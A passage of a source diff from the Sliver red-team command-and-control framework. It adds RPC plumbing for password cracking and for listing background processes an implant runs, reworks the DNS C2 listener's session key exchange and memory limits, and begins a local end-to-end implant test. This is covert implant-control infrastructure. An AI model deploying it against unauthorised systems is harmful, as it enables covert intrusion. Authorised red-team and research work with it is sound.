CrackstationBenchmark(context.Context, *clientpb.CrackBenchmark) (*commonpb.Empty, error)
|
||||
@@ -2181,6 +2202,7 @@ type SliverRPCServer interface {
|
||||
Migrate(context.Context, *clientpb.MigrateReq) (*sliverpb.Migrate, error)
|
||||
Execute(context.Context, *sliverpb.ExecuteReq) (*sliverpb.Execute, error)
|
||||
ExecuteWindows(context.Context, *sliverpb.ExecuteWindowsReq) (*sliverpb.Execute, error)
|
||||
ExecuteChildren(context.Context, *sliverpb.ExecuteChildrenReq) (*sliverpb.ExecuteChildren, error)
|
||||
Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error)
|
||||
SpawnDll(context.Context, *sliverpb.InvokeSpawnDllReq) (*sliverpb.SpawnDll, error)
|
||||
Screenshot(context.Context, *sliverpb.ScreenshotReq) (*sliverpb.Screenshot, error)
|
||||
@@ -2430,6 +2452,9 @@ func (UnimplementedSliverRPCServer) GetCertificateInfo(context.Context, *clientp
|
||||
func (UnimplementedSliverRPCServer) GetCertificateAuthorityInfo(context.Context, *commonpb.Empty) (*clientpb.CertificateAuthorityInfo, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method GetCertificateAuthorityInfo not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Crack(context.Context, *clientpb.CrackCommand) (*clientpb.CrackResponse, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Crack not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) CrackstationRegister(*clientpb.Crackstation, SliverRPC_CrackstationRegisterServer) error {
|
||||
return status.Errorf(codes.Unimplemented, "method CrackstationRegister not implemented")
|
||||
}
|
||||
@@ -2634,6 +2659,9 @@ func (UnimplementedSliverRPCServer) Execute(context.Context, *sliverpb.ExecuteRe
|
||||
func (UnimplementedSliverRPCServer) ExecuteWindows(context.Context, *sliverpb.ExecuteWindowsReq) (*sliverpb.Execute, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method ExecuteWindows not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) ExecuteChildren(context.Context, *sliverpb.ExecuteChildrenReq) (*sliverpb.ExecuteChildren, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method ExecuteChildren not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Sideload not implemented")
|
||||
}
|
||||
@@ -3888,6 +3916,24 @@ func _SliverRPC_GetCertificateAuthorityInfo_Handler(srv interface{}, ctx context
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Crack_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.CrackCommand)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Crack(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Crack",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Crack(ctx, req.(*clientpb.CrackCommand))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_CrackstationRegister_Handler(srv interface{}, stream grpc.ServerStream) error {
|
||||
m := new(clientpb.Crackstation)
|
||||
if err := stream.RecvMsg(m); err != nil {
|
||||
@@ -5115,6 +5161,24 @@ func _SliverRPC_ExecuteWindows_Handler(srv interface{}, ctx context.Context, dec
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_ExecuteChildren_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.ExecuteChildrenReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).ExecuteChildren(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/ExecuteChildren",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).ExecuteChildren(ctx, req.(*sliverpb.ExecuteChildrenReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Sideload_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.SideloadReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -6377,6 +6441,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "GetCertificateAuthorityInfo",
|
||||
Handler: _SliverRPC_GetCertificateAuthorityInfo_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Crack",
|
||||
Handler: _SliverRPC_Crack_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "CrackstationTrigger",
|
||||
Handler: _SliverRPC_CrackstationTrigger_Handler,
|
||||
@@ -6645,6 +6713,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "ExecuteWindows",
|
||||
Handler: _SliverRPC_ExecuteWindows_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "ExecuteChildren",
|
||||
Handler: _SliverRPC_ExecuteChildren_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Sideload",
|
||||
Handler: _SliverRPC_Sideload_Handler,
|
||||
|
||||
@@ -355,6 +355,9 @@ const (
|
||||
|
||||
// MsgShellResizeReq - Resize a shell PTY
|
||||
MsgShellResizeReq
|
||||
|
||||
// MsgExecuteChildrenReq - List tracked background execute child processes
|
||||
MsgExecuteChildrenReq
|
||||
)
|
||||
|
||||
// Constants to replace enums
|
||||
@@ -460,6 +463,8 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
return MsgIfconfig
|
||||
case *ExecuteReq:
|
||||
return MsgExecuteReq
|
||||
case *ExecuteChildrenReq:
|
||||
return MsgExecuteChildrenReq
|
||||
case *TerminateReq:
|
||||
return MsgTerminateReq
|
||||
case *Terminate:
|
||||
|
||||
+1956
-1646
File diff suppressed because it is too large.
Load diff
@@ -517,6 +517,7 @@ message ExecuteReq {
|
||||
string Stderr = 5;
|
||||
bool EnvInheritance = 6;
|
||||
map<string, string> Env = 7;
|
||||
bool Background = 8;
|
||||
|
||||
uint32 PPid = 10;
|
||||
|
||||
@@ -531,6 +532,7 @@ message ExecuteWindowsReq {
|
||||
string Stderr = 5;
|
||||
bool UseToken = 6;
|
||||
bool HideWindow = 7;
|
||||
bool Background = 8;
|
||||
uint32 PPid = 10;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
@@ -545,6 +547,31 @@ message Execute {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message ExecuteChildrenReq {
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message ExecuteChild {
|
||||
int32 Pid = 1;
|
||||
string Path = 2;
|
||||
repeated string Args = 3;
|
||||
|
||||
int64 StartTime = 4;
|
||||
bool Exited = 5;
|
||||
int32 ExitCode = 6;
|
||||
int64 ExitTime = 7;
|
||||
|
||||
string Stdout = 8;
|
||||
string Stderr = 11;
|
||||
string Error = 12;
|
||||
}
|
||||
|
||||
message ExecuteChildren {
|
||||
repeated ExecuteChild Children = 1;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message SideloadReq {
|
||||
bytes Data = 1;
|
||||
string ProcessName = 2;
|
||||
|
||||
+185
-66
@@ -21,14 +21,12 @@ package c2
|
||||
|
||||
We've put a little effort to making the server at least not super easily fingerprintable,
|
||||
though I'm guessing it's also still not super hard to do. The server must receive a valid
|
||||
TOTP code before we start returning any non-error records. All requests must be formatted
|
||||
as valid protobuf and contain a 24-bit "dns session ID" (16777216 possible values), and a
|
||||
8 bit "message ID." The server only responds to non-TOTP queries with valid dns session IDs
|
||||
16,777,216 can probably be bruteforced but it'll at least be slow.
|
||||
protobuf and contain a 24-bit "dns session ID" (16777216 possible values), and a 8 bit
|
||||
"message ID." 16,777,216 can probably be bruteforced but it'll at least be slow.
|
||||
|
||||
DNS command and control outline:
|
||||
1. Implant sends TOTP encoded message to DNS server, server checks validity
|
||||
2. DNS server responds with the "DNS Session ID" which is just some random value
|
||||
1. Implant generates a random DNS Session ID and sends an INIT (Age key exchange)
|
||||
2. DNS server validates INIT and allocates session state
|
||||
3. Requests with valid DNS session IDs enable the server to respond with CRC32 responses
|
||||
4. Implant establishes encrypted session
|
||||
|
||||
@@ -44,6 +42,7 @@ import (
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
@@ -66,6 +65,17 @@ const (
|
||||
messageIDBitMask = 0xff000000 // Bitwise mask to get the message ID
|
||||
|
||||
defaultMaxTXTLength = 254
|
||||
|
||||
// Upper bound on unauthenticated init reassembly state. INIT is split across multiple
|
||||
// DNS queries, so we cap the number of pending init messages to avoid unbounded memory use.
|
||||
defaultMaxPendingDNSInits = 1024
|
||||
|
||||
// Pending INIT messages are expected to complete quickly. If they don't, expire them.
|
||||
defaultPendingDNSInitTTL = 2 * time.Minute
|
||||
defaultPendingDNSInitGCInterval = 30 * time.Second
|
||||
|
||||
// INIT carries only key-exchange material and should remain small.
|
||||
defaultMaxDNSInitSize = 16 * 1024
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -78,7 +88,7 @@ var (
|
||||
)
|
||||
|
||||
// StartDNSListener - Start a DNS listener
|
||||
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool, enforceOTP bool) *SliverDNSServer {
|
||||
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool) *SliverDNSServer {
|
||||
// StartPivotListener()
|
||||
server := &SliverDNSServer{
|
||||
server: &dns.Server{Addr: fmt.Sprintf("%s:%d", bindIface, lport), Net: "udp"},
|
||||
@@ -86,8 +96,8 @@ func StartDNSListener(bindIface string, lport uint16, domains []string, canaries
|
||||
messages: &sync.Map{}, // In progress message streams
|
||||
TTL: 0,
|
||||
MaxTXTLength: defaultMaxTXTLength,
|
||||
EnforceOTP: enforceOTP,
|
||||
}
|
||||
server.startInitGC()
|
||||
dnsLog.Infof("Starting DNS listener for %v (canaries: %v) ...", domains, canaries)
|
||||
dns.HandleFunc(".", func(writer dns.ResponseWriter, req *dns.Msg) {
|
||||
started := time.Now()
|
||||
@@ -103,6 +113,9 @@ type DNSSession struct {
|
||||
ImplantConn *core.ImplantConnection
|
||||
CipherCtx *cryptography.CipherContext
|
||||
|
||||
Created time.Time
|
||||
lastSeen atomic.Int64 // unix nanos
|
||||
|
||||
dnsIdMsgIdMap map[uint32]uint32
|
||||
outgoingMsgIDs []uint32
|
||||
outgoingBuffers map[uint32][]byte
|
||||
@@ -113,6 +126,10 @@ type DNSSession struct {
|
||||
msgCount uint32
|
||||
}
|
||||
|
||||
func (s *DNSSession) touch(now time.Time) {
|
||||
s.lastSeen.Store(now.UnixNano())
|
||||
}
|
||||
|
||||
func (s *DNSSession) msgID(id uint32) uint32 {
|
||||
return uint32(id<<24) | uint32(s.ID)
|
||||
}
|
||||
@@ -256,6 +273,13 @@ type PendingEnvelope struct {
|
||||
complete bool
|
||||
}
|
||||
|
||||
// pendingInit tracks the reassembly state for an INIT message (which may arrive
|
||||
// split across multiple DNS queries).
|
||||
type pendingInit struct {
|
||||
Created time.Time
|
||||
Envelope *PendingEnvelope
|
||||
}
|
||||
|
||||
// Reassemble - Reassemble a completed message
|
||||
func (p *PendingEnvelope) Reassemble() ([]byte, error) {
|
||||
// There's some weird race here with a nil pointer
|
||||
@@ -316,11 +340,23 @@ type SliverDNSServer struct {
|
||||
messages *sync.Map
|
||||
TTL uint32
|
||||
MaxTXTLength int
|
||||
EnforceOTP bool
|
||||
|
||||
pendingInits atomic.Int64
|
||||
gcStopOnce sync.Once
|
||||
gcStop chan struct{}
|
||||
gcDone chan struct{}
|
||||
}
|
||||
|
||||
// Shutdown - Shutdown the DNS server
|
||||
func (s *SliverDNSServer) Shutdown() error {
|
||||
s.gcStopOnce.Do(func() {
|
||||
if s.gcStop != nil {
|
||||
close(s.gcStop)
|
||||
if s.gcDone != nil {
|
||||
<-s.gcDone
|
||||
}
|
||||
}
|
||||
})
|
||||
return s.server.Shutdown()
|
||||
}
|
||||
|
||||
@@ -329,6 +365,56 @@ func (s *SliverDNSServer) ListenAndServe() error {
|
||||
return s.server.ListenAndServe()
|
||||
}
|
||||
|
||||
func (s *SliverDNSServer) startInitGC() {
|
||||
// Tests construct SliverDNSServer directly; only start GC for real listeners.
|
||||
if s.gcStop != nil {
|
||||
return
|
||||
}
|
||||
s.gcStop = make(chan struct{})
|
||||
s.gcDone = make(chan struct{})
|
||||
go func() {
|
||||
ticker := time.NewTicker(defaultPendingDNSInitGCInterval)
|
||||
defer ticker.Stop()
|
||||
defer close(s.gcDone)
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ticker.C:
|
||||
s.gcPendingInits()
|
||||
case <-s.gcStop:
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
func (s *SliverDNSServer) gcPendingInits() {
|
||||
now := time.Now()
|
||||
var deleted int64
|
||||
s.messages.Range(func(key, value any) bool {
|
||||
p, ok := value.(*pendingInit)
|
||||
if !ok || p == nil {
|
||||
if _, loaded := s.messages.LoadAndDelete(key); loaded {
|
||||
deleted++
|
||||
}
|
||||
return true
|
||||
}
|
||||
created := p.Created
|
||||
if created.IsZero() {
|
||||
created = now
|
||||
}
|
||||
if now.Sub(created) > defaultPendingDNSInitTTL {
|
||||
if _, loaded := s.messages.LoadAndDelete(key); loaded {
|
||||
deleted++
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
if deleted > 0 {
|
||||
s.pendingInits.Add(-deleted)
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------
|
||||
// DNS Handler
|
||||
// ---------------------------
|
||||
@@ -354,6 +440,9 @@ func (s *SliverDNSServer) HandleDNSRequest(domains []string, canaries bool, writ
|
||||
resp = s.handleCanary(req)
|
||||
}
|
||||
if resp != nil {
|
||||
// These responses often have near-max-length QNAMEs. Enable compression to
|
||||
// keep UDP responses under the minimum DNS message size limits.
|
||||
resp.Compress = true
|
||||
writer.WriteMsg(resp)
|
||||
} else {
|
||||
dnsLog.Infof("Invalid query, no DNS response")
|
||||
@@ -384,24 +473,26 @@ func (s *SliverDNSServer) handleC2(domain string, req *dns.Msg) *dns.Msg {
|
||||
return s.nameErrorResp(req)
|
||||
}
|
||||
|
||||
// TOTP Handler can be called without dns session ID
|
||||
if msg.Type == dnspb.DNSMessageType_TOTP {
|
||||
return s.handleHello(domain, msg, req)
|
||||
// INIT can be called without an existing server-side session. The server only
|
||||
// stores session state after validating the key exchange.
|
||||
if msg.Type == dnspb.DNSMessageType_INIT {
|
||||
return s.handleDNSSessionInit(domain, msg, checksum, req)
|
||||
}
|
||||
|
||||
// All other handlers require a valid dns session ID
|
||||
_, ok := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||
sessionValue, ok := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||
if !ok {
|
||||
dnsLog.Warnf("[dns] session not found for id %v (%v)", msg.ID, msg.ID&sessionIDBitMask)
|
||||
return s.nameErrorResp(req)
|
||||
}
|
||||
if session, ok := sessionValue.(*DNSSession); ok && session != nil {
|
||||
session.touch(time.Now())
|
||||
}
|
||||
|
||||
// Msg Type -> Handler
|
||||
switch msg.Type {
|
||||
case dnspb.DNSMessageType_NOP:
|
||||
return s.handleNOP(domain, msg, checksum, req)
|
||||
case dnspb.DNSMessageType_INIT:
|
||||
return s.handleDNSSessionInit(domain, msg, checksum, req)
|
||||
case dnspb.DNSMessageType_POLL:
|
||||
return s.handlePoll(domain, msg, checksum, req)
|
||||
case dnspb.DNSMessageType_DATA_FROM_IMPLANT:
|
||||
@@ -456,81 +547,86 @@ func (s *SliverDNSServer) accumulateInitData(msg *dnspb.DNSMessage) ([]byte, boo
|
||||
if msg.Size == 0 {
|
||||
return nil, false, ErrInvalidMsg
|
||||
}
|
||||
if msg.Size > defaultMaxDNSInitSize {
|
||||
return nil, false, ErrInvalidMsg
|
||||
}
|
||||
pendingValue, loaded := s.messages.Load(msg.ID)
|
||||
if !loaded {
|
||||
pendingValue = &PendingEnvelope{
|
||||
Size: msg.Size,
|
||||
received: uint32(0),
|
||||
messages: map[uint32][]byte{},
|
||||
mutex: &sync.Mutex{},
|
||||
complete: false,
|
||||
// Enforce a hard cap on pending INIT messages to prevent unbounded allocation.
|
||||
next := s.pendingInits.Add(1)
|
||||
if int64(defaultMaxPendingDNSInits) > 0 && next > int64(defaultMaxPendingDNSInits) {
|
||||
s.pendingInits.Add(-1)
|
||||
return nil, false, ErrInvalidMsg
|
||||
}
|
||||
|
||||
pendingValue = &pendingInit{
|
||||
Created: time.Now(),
|
||||
Envelope: &PendingEnvelope{
|
||||
Size: msg.Size,
|
||||
received: uint32(0),
|
||||
messages: map[uint32][]byte{},
|
||||
mutex: &sync.Mutex{},
|
||||
complete: false,
|
||||
},
|
||||
}
|
||||
actual, loaded := s.messages.LoadOrStore(msg.ID, pendingValue)
|
||||
if loaded {
|
||||
// Another goroutine won the race. Roll back our pending counter.
|
||||
s.pendingInits.Add(-1)
|
||||
pendingValue = actual
|
||||
}
|
||||
actual, _ := s.messages.LoadOrStore(msg.ID, pendingValue)
|
||||
pendingValue = actual
|
||||
}
|
||||
pending := pendingValue.(*PendingEnvelope)
|
||||
p, ok := pendingValue.(*pendingInit)
|
||||
if !ok || p == nil || p.Envelope == nil {
|
||||
s.deletePendingInit(msg.ID)
|
||||
return nil, false, ErrInvalidMsg
|
||||
}
|
||||
pending := p.Envelope
|
||||
if pending.Size != msg.Size && msg.Size != 0 {
|
||||
s.messages.Delete(msg.ID)
|
||||
s.deletePendingInit(msg.ID)
|
||||
return nil, false, ErrInvalidMsg
|
||||
}
|
||||
if !pending.Insert(msg) {
|
||||
return nil, false, nil
|
||||
}
|
||||
|
||||
if pending.received > pending.Size {
|
||||
s.deletePendingInit(msg.ID)
|
||||
return nil, false, ErrInvalidMsg
|
||||
}
|
||||
|
||||
data, err := pending.Reassemble()
|
||||
s.messages.Delete(msg.ID)
|
||||
s.deletePendingInit(msg.ID)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
return data, true, nil
|
||||
}
|
||||
|
||||
// ---------------------------
|
||||
// DNS Message Handlers
|
||||
// ---------------------------
|
||||
func (s *SliverDNSServer) handleHello(domain string, msg *dnspb.DNSMessage, req *dns.Msg) *dns.Msg {
|
||||
dnsLog.Debugf("[dns] totp request: %v", msg)
|
||||
|
||||
dnsSessionID := dnsSessionID()
|
||||
dnsLog.Debugf("[dns] Assigned new dns session id = %d", dnsSessionID&sessionIDBitMask)
|
||||
s.sessions.Store(dnsSessionID&sessionIDBitMask, &DNSSession{
|
||||
ID: dnsSessionID & sessionIDBitMask,
|
||||
dnsIdMsgIdMap: map[uint32]uint32{},
|
||||
outgoingMsgIDs: []uint32{},
|
||||
outgoingBuffers: map[uint32][]byte{},
|
||||
outgoingMutex: &sync.RWMutex{},
|
||||
incomingEnvelopes: map[uint32]*PendingEnvelope{},
|
||||
incomingMutex: &sync.Mutex{},
|
||||
msgCount: uint32(0),
|
||||
})
|
||||
|
||||
resp := new(dns.Msg)
|
||||
resp.SetReply(req)
|
||||
resp.Authoritative = true
|
||||
respBuf := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(respBuf, dnsSessionID)
|
||||
for _, q := range req.Question {
|
||||
switch q.Qtype {
|
||||
case dns.TypeA:
|
||||
a := &dns.A{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: s.TTL},
|
||||
A: respBuf,
|
||||
}
|
||||
resp.Answer = append(resp.Answer, a)
|
||||
}
|
||||
func (s *SliverDNSServer) deletePendingInit(id uint32) {
|
||||
if _, loaded := s.messages.LoadAndDelete(id); loaded {
|
||||
s.pendingInits.Add(-1)
|
||||
}
|
||||
return resp
|
||||
}
|
||||
|
||||
func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMessage, checksum uint32, req *dns.Msg) *dns.Msg {
|
||||
dnsLog.Debugf("[session init] with dns session id %d", msg.ID&sessionIDBitMask)
|
||||
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||
dnsSession := loadSession.(*DNSSession)
|
||||
sessionID := msg.ID & sessionIDBitMask
|
||||
dnsLog.Debugf("[session init] with dns session id %d", sessionID)
|
||||
if sessionID == 0 {
|
||||
dnsLog.Warnf("[session init] invalid dns session id")
|
||||
return s.refusedErrorResp(req)
|
||||
}
|
||||
if msg.Size <= 32 {
|
||||
dnsLog.Warnf("[session init] invalid msg data length")
|
||||
return s.refusedErrorResp(req)
|
||||
}
|
||||
if dnsSession.CipherCtx != nil {
|
||||
dnsLog.Warnf("[session init] session is already initialized")
|
||||
if existing, ok := s.sessions.Load(sessionID); ok {
|
||||
// Defensive: INIT should only be called once per session ID.
|
||||
if dnsSession, ok := existing.(*DNSSession); ok && dnsSession != nil && dnsSession.CipherCtx != nil {
|
||||
dnsLog.Warnf("[session init] session is already initialized")
|
||||
return s.refusedErrorResp(req)
|
||||
}
|
||||
dnsLog.Warnf("[session init] session already exists")
|
||||
return s.refusedErrorResp(req)
|
||||
}
|
||||
|
||||
@@ -564,7 +660,27 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
|
||||
return s.refusedErrorResp(req)
|
||||
}
|
||||
|
||||
now := time.Now()
|
||||
dnsSession := &DNSSession{
|
||||
ID: sessionID,
|
||||
Created: now,
|
||||
dnsIdMsgIdMap: map[uint32]uint32{},
|
||||
outgoingMsgIDs: []uint32{},
|
||||
outgoingBuffers: map[uint32][]byte{},
|
||||
outgoingMutex: &sync.RWMutex{},
|
||||
incomingEnvelopes: map[uint32]*PendingEnvelope{},
|
||||
incomingMutex: &sync.Mutex{},
|
||||
msgCount: uint32(0),
|
||||
}
|
||||
dnsSession.touch(now)
|
||||
dnsSession.ImplantConn = core.NewImplantConnection("dns", "n/a")
|
||||
dnsSession.CipherCtx = cryptography.NewCipherContext(sessionKey)
|
||||
|
||||
if _, loaded := s.sessions.LoadOrStore(sessionID, dnsSession); loaded {
|
||||
dnsLog.Warnf("[session init] session id collision for %d", sessionID)
|
||||
return s.refusedErrorResp(req)
|
||||
}
|
||||
|
||||
go func() {
|
||||
dnsLog.Debugf("[dns] starting implant conn send loop")
|
||||
for envelope := range dnsSession.ImplantConn.Send {
|
||||
@@ -572,7 +688,6 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
|
||||
}
|
||||
dnsLog.Debugf("[dns] closing implant conn send loop")
|
||||
}()
|
||||
dnsSession.CipherCtx = cryptography.NewCipherContext(sessionKey)
|
||||
buf := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(buf, dnsSession.ID)
|
||||
respData, err := dnsSession.CipherCtx.Encrypt(buf)
|
||||
@@ -628,6 +743,7 @@ func (s *SliverDNSServer) handlePoll(domain string, msg *dnspb.DNSMessage, check
|
||||
dnsLog.Debugf("[poll] with dns session id %d", msg.ID&sessionIDBitMask)
|
||||
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||
dnsSession := loadSession.(*DNSSession)
|
||||
dnsSession.touch(time.Now())
|
||||
|
||||
msgID, msgLen, err := dnsSession.PopOutgoingMsgID(msg)
|
||||
if err != nil {
|
||||
@@ -709,6 +825,7 @@ func (s *SliverDNSServer) handleDataFromImplant(domain string, msg *dnspb.DNSMes
|
||||
dnsLog.Debugf("[from implant] dns session id %d", msg.ID&sessionIDBitMask)
|
||||
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||
dnsSession := loadSession.(*DNSSession)
|
||||
dnsSession.touch(time.Now())
|
||||
dnsLog.Debugf("[from implant] msg id: %d, size: %d", msg.ID, msg.Size)
|
||||
pending := dnsSession.IncomingPendingEnvelope(msg.ID, msg.Size)
|
||||
complete := pending.Insert(msg)
|
||||
@@ -739,6 +856,7 @@ func (s *SliverDNSServer) handleDataToImplant(domain string, msg *dnspb.DNSMessa
|
||||
dnsLog.Debugf("[to implant] dns session id %d", msg.ID&sessionIDBitMask)
|
||||
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||
dnsSession := loadSession.(*DNSSession)
|
||||
dnsSession.touch(time.Now())
|
||||
|
||||
data, err := dnsSession.OutgoingRead(msg.ID, msg.Start, msg.Stop)
|
||||
if err != nil {
|
||||
@@ -798,6 +916,7 @@ func (s *SliverDNSServer) handleClear(domain string, msg *dnspb.DNSMessage, chec
|
||||
dnsLog.Debugf("[clear] dns session id %d", msg.ID&sessionIDBitMask)
|
||||
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||
dnsSession := loadSession.(*DNSSession)
|
||||
dnsSession.touch(time.Now())
|
||||
dnsSession.ClearOutgoingEnvelope(msg.ID)
|
||||
|
||||
respBuf := make([]byte, 4)
|
||||
|
||||
@@ -0,0 +1,309 @@
|
||||
//go:build server && go_sqlite && sliver_e2e
|
||||
|
||||
package c2_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
implantCrypto "github.com/bishopfox/sliver/implant/sliver/cryptography"
|
||||
implantHandlers "github.com/bishopfox/sliver/implant/sliver/handlers"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/dnsclient"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
serverCrypto "github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/transport"
|
||||
"github.com/google/uuid"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const dnsE2EEchoMsgType = uint32(0x7fffffff)
|
||||
|
||||
func TestDNS_EndToEndPingRPC(t *testing.T) {
|
||||
// NOTE: If you run this test in a restricted environment where writes to
|
||||
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
|
||||
|
||||
t.Cleanup(func() {
|
||||
for _, session := range core.Sessions.All() {
|
||||
core.Sessions.Remove(session.ID)
|
||||
}
|
||||
})
|
||||
|
||||
setupDNSKeyExImplantBuild(t)
|
||||
|
||||
grpcServer, grpcListener, err := transport.LocalListener()
|
||||
if err != nil {
|
||||
t.Fatalf("start local grpc listener: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
grpcServer.Stop()
|
||||
_ = grpcListener.Close()
|
||||
})
|
||||
|
||||
rpcConn, err := dialBufConn(context.Background(), grpcListener)
|
||||
if err != nil {
|
||||
t.Fatalf("dial grpc/bufconn: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = rpcConn.Close() })
|
||||
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
|
||||
|
||||
dnsParent := "e2e.example.com."
|
||||
dnsPort := freeUDPPort(t)
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
|
||||
defer cancel()
|
||||
dnsListener, err := rpcClient.StartDNSListener(ctx, &clientpb.DNSListenerReq{
|
||||
Domains: []string{dnsParent},
|
||||
Canaries: false,
|
||||
Host: "127.0.0.1",
|
||||
Port: dnsPort,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("StartDNSListener: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
if job := core.Jobs.Get(int(dnsListener.JobID)); job != nil {
|
||||
job.JobCtrl <- true
|
||||
}
|
||||
_ = db.DeleteListener(dnsListener.JobID)
|
||||
})
|
||||
|
||||
// Give the UDP listener a moment to bind before the implant starts sending queries.
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
|
||||
stopImplant := startTestDNSImplant(t, dnsParent, dnsPort)
|
||||
t.Cleanup(stopImplant)
|
||||
|
||||
sessionID := waitForSessionID(t, 10*time.Second)
|
||||
|
||||
pingReq := &sliverpb.Ping{
|
||||
Nonce: 31337,
|
||||
Request: &commonpb.Request{
|
||||
SessionID: sessionID,
|
||||
Timeout: int64(5 * time.Second),
|
||||
},
|
||||
}
|
||||
pingResp, err := rpcClient.Ping(ctx, pingReq)
|
||||
if err != nil {
|
||||
t.Fatalf("Ping: %v", err)
|
||||
}
|
||||
if pingResp.Nonce != pingReq.Nonce {
|
||||
t.Fatalf("ping nonce mismatch: %d != %d", pingResp.Nonce, pingReq.Nonce)
|
||||
}
|
||||
|
||||
// Extra validation: send a larger request/response directly via the session to
|
||||
